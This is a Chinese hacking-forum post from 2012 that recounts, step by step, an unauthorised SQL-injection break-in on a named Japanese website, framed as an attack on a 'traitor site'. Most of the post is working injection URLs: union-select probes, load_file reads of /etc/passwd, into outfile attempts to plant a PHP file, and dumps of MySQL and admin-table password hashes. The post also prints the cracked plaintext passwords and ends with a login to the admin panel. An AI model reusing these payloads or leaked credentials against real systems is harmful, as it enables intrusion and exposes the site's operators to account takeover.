中国网络渗透测试联盟
标题:
原创 检测汉奸站全过程
[打印本页]
作者:
xiancda
时间:
2012-9-17 16:22
标题:
原创 检测汉奸站全过程
补：
www.zuaa.jp
测试
4 s# C& |# d* o8 t! Y
2 B0 I- W F3 \3 `3 U* n2 |7 c
0x01. 检测
www.zuaa.jp
收集数据
7 h2 _! P, o- J, {* |. K
[attach]73[/attach]
5 V4 w) D- a0 l$ \1 q
- u/ Z/ v* ~1 E; N/ D6 [
whatweb
5 J9 K9 z0 t- D- j! r; ^( W
[attach]74[/attach]
4 T0 Z$ B7 V# R& a' r5 T
+ x0 E: y' c3 r* @6 r7 X! Q
利用NMAP扫描
( J/ v x( W4 o& N" I6 u6 q
[attach]75[/attach]
- K3 C0 U! R' O1 @0 Y6 T
中国网络渗透测评联盟
：
http://www.political-security.com/
提供技术支持
0 A0 `/ H4 D( }; f
0x02.找注入点
. n2 j6 f2 z, \# j, |
找注入点：
http://www.zuaa.jp/php/newsdetail.php?topic_id=390
' w' M" H' y0 U
[attach]76[/attach]
9 b! l6 D# E. C4 w0 N% U0 c4 C9 N
9 z$ _6 e' V7 w8 E) h: y6 R
0x03.order by
6 \; m/ R( i4 w, t
http://www.zuaa.jp/php/newsdetail.php?topic_id=390
order by 1
; [: z( e$ T ^, w/ @0 H6 x
[attach]77[/attach]
' J# t% Y- ^8 ^4 Q* o# w" O
order by 28报错，order by 27正常
# K2 Q4 G* | b; k' p- K
6 V( c- c T6 N" k* n
0x04. union手动查询
/ E! n0 {# B, t/ S- \3 r& U
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
t @' L. z& x* |
添加到 27 时正常显示
# G& Y4 q& T% O) R0 k- e6 _4 I
[attach]78[/attach]
. P2 q1 s( w! G1 q* C c
中国网络渗透测评联盟
：
http://www.political-security.com/
提供技术支持
& S x& p5 p% Y# ~: Y
+ j/ A, I# Z0 S* Z; u3 a5 f
0x05. info:
' d ]: [& Y' W; D. i- r
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
+ ]/ U2 @3 D# A- P, k
[attach]79[/attach]
8 f) |+ g4 I- v3 B: }& ]* z
user: root@localhost
& C4 j1 p* c: z @$ R
database: openpne
& C/ g5 I( O0 M1 \/ y r; s
version: 4.1.22
% ]6 e/ Q" S' J
os: portbld-freebsd5.4
0 o' Y3 s6 P% \0 S& i+ @- F& j% m/ ?
8 ]* N1 E3 i8 {& \) c- ~
0x06. root用户
% C/ M; l# N& I2 m" _ ^
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
; Z. E* O# ], Q' w _- W
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
! _" J( r- K, c9 I' \3 X% T9 l
[attach]80[/attach]
; _ R/ t/ F& u# D# N8 a0 I+ [
通过工具转换
1 V* C% s+ D* \
[attach]81[/attach]
2 R P, g* }& e8 J9 _. k
中国网络渗透测评联盟
：
http://www.political-security.com/
提供技术支持
% Y/ Y g( g0 s8 s2 o
7 x5 E" V, D7 T4 v- r g
0x07. 利用 into outfile
) g9 B: X6 ?8 b9 u) l/ I1 p7 z
全部都失败
; e7 R. Q+ ]8 u/ R6 z. o7 ~9 D( X
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
9 J' Q9 Y- j! d; D: D
7 q# F! t* t5 h y" l! H
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php
$ O% A+ V, H0 _9 Q
" Z0 c( F' g' n6 F& w: B8 N
页面显示“MDB2 Error:syntax error”
6 e; i6 I3 T8 T: W
6 }9 r2 H. e: u& S
0x08. 利用 mysql 4.1
M& r! J8 h$ r& [8 [& X4 z
猜常规表名，字段未果 工具 sqlmap
4 L& \6 f, x6 n7 @/ D
中国网络渗透测评联盟
：
http://www.political-security.com/
提供技术支持
) n$ }$ A. k( C
2 w2 l- p( e7 u
[attach]82[/attach]
9 ~0 A) e3 Y3 D
/ p1 k! x1 Z* h4 h. ?; E) d5 |
0x09. 查找后台
& U2 @ J" M- X. Z
利用 现有的各种 后台工具尝试都不行
5 q* G$ ]- @) _0 w! j# z
, t, O+ i, ?. Y2 P( i& r1 F
0x10. MySL外联方法
$ M- k( p7 f6 E, r3 }8 ?1 _
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连
www.zuaa.jp
不行
; B0 S' o7 w) e+ ^. j
可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
( D. c/ B$ y( ?' k
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
7 P1 Y+ i3 Q5 `; U5 W8 g% Z6 H& [' o
[attach]83[/attach]
5 k' B6 t- D0 ^) R" `; A
这个可以在
www.cmd5.com
解密
- Z8 |$ F1 |& R
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
! s" R9 G( \$ j/ l. t! |* |. c
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
2 I8 _( ~+ t# T7 A; p0 `
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
% Q6 l2 f' C- V+ t
zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
2 S1 O' ~4 ^, y7 ~
工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
+ W6 w+ x1 ^1 v1 g
[attach]84[/attach]
' v* S! f$ A) w+ ?
9 E5 D; N; y* F8 H6 Y8 M# e
0x11. 网站突破
- }. Y: t. L! x; b) m% S
发现网站的源程序 openpne, google 下载 openpne 源码
/ \, Q9 p2 @+ B: I5 c' v- v
[attach]85[/attach]
, T( s4 Z& k% m7 i3 P: l% g
; F* Q, d. q3 i
0x12. 默认信息利用
+ L8 K( s6 h0 e) v0 t' X
http://sns.zuaa.jp/?m=admin&a=page_login
5 H7 o5 O' L% g' Y' @
[attach]86[/attach]
+ x) j8 e! u1 N3 c( p+ o' I
表名 (c_admin_user) ，字段名（username,password）
6 X1 z5 R/ Q- N
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
. |- k3 {; M2 Z) F. k* e
[attach]87[/attach]
8 v$ v% p" J- C; _& F# ]
解密
^2 ~, L. _. J/ `# G) {0 e4 Z
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda, zuaa2009
+ L9 @% c$ j1 t: \" {6 `4 V
zuaajp:c0923ec5857796a393da99905008c176, zju1897
' [! l4 D6 b( U
c8 D( h1 y9 c3 B- K) I
中国网络渗透测评联盟
：
http://www.political-security.com/
提供技术支持
, o. _" W4 m8 w! P0 g
3 `+ J& \$ p1 L6 T
0x13. 登录后台
; R! ]! `* m/ c+ }% O- A
[attach]88[/attach]
4 z; p3 z |" N- b/ l' w
: z/ V ~4 u2 v$ A' R! C% i: U7 O
4 G3 ]0 a/ N2 ^. j# }
0x14. 小结
' j c y/ M% f r. ^: O2 |
利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
5 ^, M* I' d% F9 k8 U
感谢群 ----
渗透 -酷帅王子
提供注入点 提供注入点
a) Y; F0 L! N I
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------
By DarkRain
- d3 n4 i+ a2 g' c% c* Z$ a
中国网络渗透测评联盟
：
http://www.political-security.com/
提供技术支持
) }/ q* v% ~5 U
$ ]# D9 A6 f- X; S1 H, `
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！
% }4 B( I. k* U |
作者:
荒村狂客
时间:
2012-9-19 08:27
哪个牛人 费的这劲 入侵的
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2